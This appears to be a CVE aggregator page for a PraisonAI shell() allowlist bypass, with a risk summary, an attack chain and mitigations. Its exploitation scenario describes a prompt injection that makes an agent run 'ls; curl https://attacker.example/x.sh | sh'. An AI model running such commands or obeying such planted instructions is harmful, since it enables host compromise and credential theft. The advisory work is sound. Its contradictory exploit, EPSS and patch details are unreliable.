CVE-2026-57133: PraisonAI allowlist bypass

CISO Take

PraisonAI's TypeScript shell() helper (versions 1.5.1 to before 1.7.2) validates only the first word of a command against a read-only allowlist and then executes the whole string through child_process.exec(), so an attacker can chain any command with shell syntax such as ';' or '&&'. The flaw is rated high (CVSS 8.8, network-reachable, low complexity, low privileges, no user interaction) and gives full code execution with the privileges of the PraisonAI process. Exploitation likelihood is moderate for now: EPSS is 0.8% (top 45%), there is no public exploit, no Nuclei template and no KEV listing, though CISA SSVC says ATTEND. Agent frameworks are especially exposed because a prompt-injected LLM can supply the command string, which turns the bug into a remote path from untrusted content to the host. Upgrade to 1.7.2 or later, and until then disable or isolate the shell tool and run agents in sandboxed, least-privilege containers. Note that the advisory reference points to a v4.6.62 release tag, so confirm the exact fixed version for your package channel.

Sources:NVDEPSSGitHub AdvisoryATLASCISA SSVC

What is the risk?

High. The weakness is a classic command injection (CWE-78) behind a broken allowlist check (CWE-863, CWE-693), and the impact covers confidentiality, integrity and availability. It needs only low privileges and is not complex. Real-world likelihood is tempered by a low EPSS (0.8%), no public PoC and no KEV listing. Exposure depends on whether the TypeScript shell() tool is enabled for agents. In deployments where an LLM can be steered by untrusted input (web pages, documents, user messages), the effective barrier drops sharply, so treat agent-facing deployments as higher risk than the base score suggests.

How does the attack unfold?

Initial Access

Attacker reaches a PraisonAI endpoint or injects a prompt that makes an agent call the shell() tool.

AML.T0049

Allowlist Bypass

The command begins with an allowed read-only command and appends a second command using shell syntax, passing the first-token check.

AML.T0053

Code Execution

The full string reaches child_process.exec() and the injected command runs with the agent process privileges.

AML.T0050

Impact

Attacker steals credentials and data, establishes persistence and pivots to connected systems.

Initial Access

Attacker reaches a PraisonAI endpoint or injects a prompt that makes an agent call the shell() tool.

AML.T0049

Allowlist Bypass

The command begins with an allowed read-only command and appends a second command using shell syntax, passing the first-token check.

AML.T0053

Code Execution

The full string reaches child_process.exec() and the injected command runs with the agent process privileges.

AML.T0050

Impact

Attacker steals credentials and data, establishes persistence and pivots to connected systems.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
PraisonAI	pip	—	No patch
1 dependents61% patched~23d to patchFull package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1

8.8 / 10

EPSS

0.8%

chance of exploitation in 30 days

Higher than 57% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○CISA SSVC: Public PoC

○Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVNetwork

ACLow

PRLow

UINone

SUnchanged

CHigh

IHigh

AHigh

What should I do?

1 step

1) Upgrade PraisonAI TypeScript to 1.7.2 or later (verify the fixed release against the GHSA-5jv7-2mjm-h6qj advisory and the linked commit). 2) Until patched, remove or disable the shell() tool from agent tool lists, or wrap it in a strict allowlist that uses execFile with an argument array rather than a shell string. 3) Run agents in containers or sandboxes with no host mounts, a non-root user, read-only filesystems where possible, and egress filtering. 4) Keep secrets out of the agent process environment and use short-lived scoped credentials. 5) Detect abuse by alerting on child processes spawned by the Node.js agent process, shell metacharacters (; && || | ` $() ) in tool-call logs, and unexpected outbound connections. 6) Review agent logs for past tool calls that began with an allowed command followed by extra commands.

What does CISA's SSVC say?

DecisionAttend

Exploitationpoc

AutomatableNo

Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionPrompt InjectionAgentFrameworkPluginAML.T0049- Exploit Public-Facing Application AML.T0050- Command and Scripting Interpreter AML.T0051.001- Indirect AML.T0053- AI Agent Tool Invocation

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15-Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6-AI system operation and monitoring

NIST AI RMF

MANAGE 2.3-Respond to previously unknown risks

OWASP LLM Top 10

LLM05-Improper Output HandlingLLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-57133?

PraisonAI's TypeScript shell() helper (versions 1.5.1 to before 1.7.2) validates only the first word of a command against a read-only allowlist and then executes the whole string through child_process.exec(), so an attacker can chain any command with shell syntax such as ';' or '&&'. The flaw is rated high (CVSS 8.8, network-reachable, low complexity, low privileges, no user interaction) and gives full code execution with the privileges of the PraisonAI process. Exploitation likelihood is moderate for now: EPSS is 0.8% (top 45%), there is no public exploit, no Nuclei template and no KEV listing, though CISA SSVC says ATTEND. Agent frameworks are especially exposed because a prompt-injected LLM can supply the command string, which turns the bug into a remote path from untrusted content to the host. Upgrade to 1.7.2 or later, and until then disable or isolate the shell tool and run agents in sandboxed, least-privilege containers. Note that the advisory reference points to a v4.6.62 release tag, so confirm the exact fixed version for your package channel.

Is CVE-2026-57133 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-57133, increasing the risk of exploitation.

How to fix CVE-2026-57133?

1) Upgrade PraisonAI TypeScript to 1.7.2 or later (verify the fixed release against the GHSA-5jv7-2mjm-h6qj advisory and the linked commit). 2) Until patched, remove or disable the shell() tool from agent tool lists, or wrap it in a strict allowlist that uses execFile with an argument array rather than a shell string. 3) Run agents in containers or sandboxes with no host mounts, a non-root user, read-only filesystems where possible, and egress filtering. 4) Keep secrets out of the agent process environment and use short-lived scoped credentials. 5) Detect abuse by alerting on child processes spawned by the Node.js agent process, shell metacharacters (; && || | ` $() ) in tool-call logs, and unexpected outbound connections. 6) Review agent logs for past tool calls that began with an allowed command followed by extra commands.

What systems are affected by CVE-2026-57133?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, multi-agent systems, tool-calling pipelines, LLM orchestration services.

What is the CVSS score for CVE-2026-57133?

CVE-2026-57133 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.80%.

What is the AI security impact?

Affected AI Architectures

agent frameworksmulti-agent systemstool-calling pipelinesLLM orchestration services

MITRE ATLAS Techniques

AML.T0049Exploit Public-Facing Application

AML.T0050Command and Scripting Interpreter

AML.T0051.001Indirect

AML.T0053AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Art. 15

ISO 42001: A.6.2.6

NIST AI RMF: MANAGE 2.3

OWASP LLM Top 10: LLM05, LLM06

What are the technical details?

Original Advisory

PraisonAI is a multi-agent teams system. From 1.5.1 until 1.7.2, the shell() helper exported from src/praisonai-ts/src/tools/utility-tools.ts checks only the first whitespace-delimited token against safeCommands and then passes the complete original string to child_process.exec(). A string that starts with an allowed read-only command can append a second non-allowlisted command through shell syntax, allowing arbitrary command execution with the PraisonAI process privileges. This issue is fixed in version 1.7.2.

Exploitation Scenario

An attacker plants a hidden instruction in a web page or document that a PraisonAI research agent ingests. The injected prompt makes the agent call shell() with a string such as 'ls; curl https://attacker.example/x.sh | sh'. Because only 'ls' is checked against the allowlist, the whole string is passed to exec() and the second command runs with the agent's privileges. The attacker then harvests LLM API keys and cloud credentials from the environment, establishes a reverse shell, and moves to other systems that trust the agent host. A direct variant works for any user with low-privilege access to an exposed PraisonAI endpoint that accepts tool input.

Weaknesses (CWE)

CWE-693Protection Mechanism FailurePrimary CWE-78Improper Neutralization of Special Elements used in an OS CommandPrimary CWE-863Incorrect AuthorizationPrimary CWE-693Protection Mechanism Failure CWE-78Improper Neutralization of Special Elements used in an OS Command CWE-863Incorrect Authorization

CWE-693 — Protection Mechanism Failure: The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

Source: MITRE CWE corpus.